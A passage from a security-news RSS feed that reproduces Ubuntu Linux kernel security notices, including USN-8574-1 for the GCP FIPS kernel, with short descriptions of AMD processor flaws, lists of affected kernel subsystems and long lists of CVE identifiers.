  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
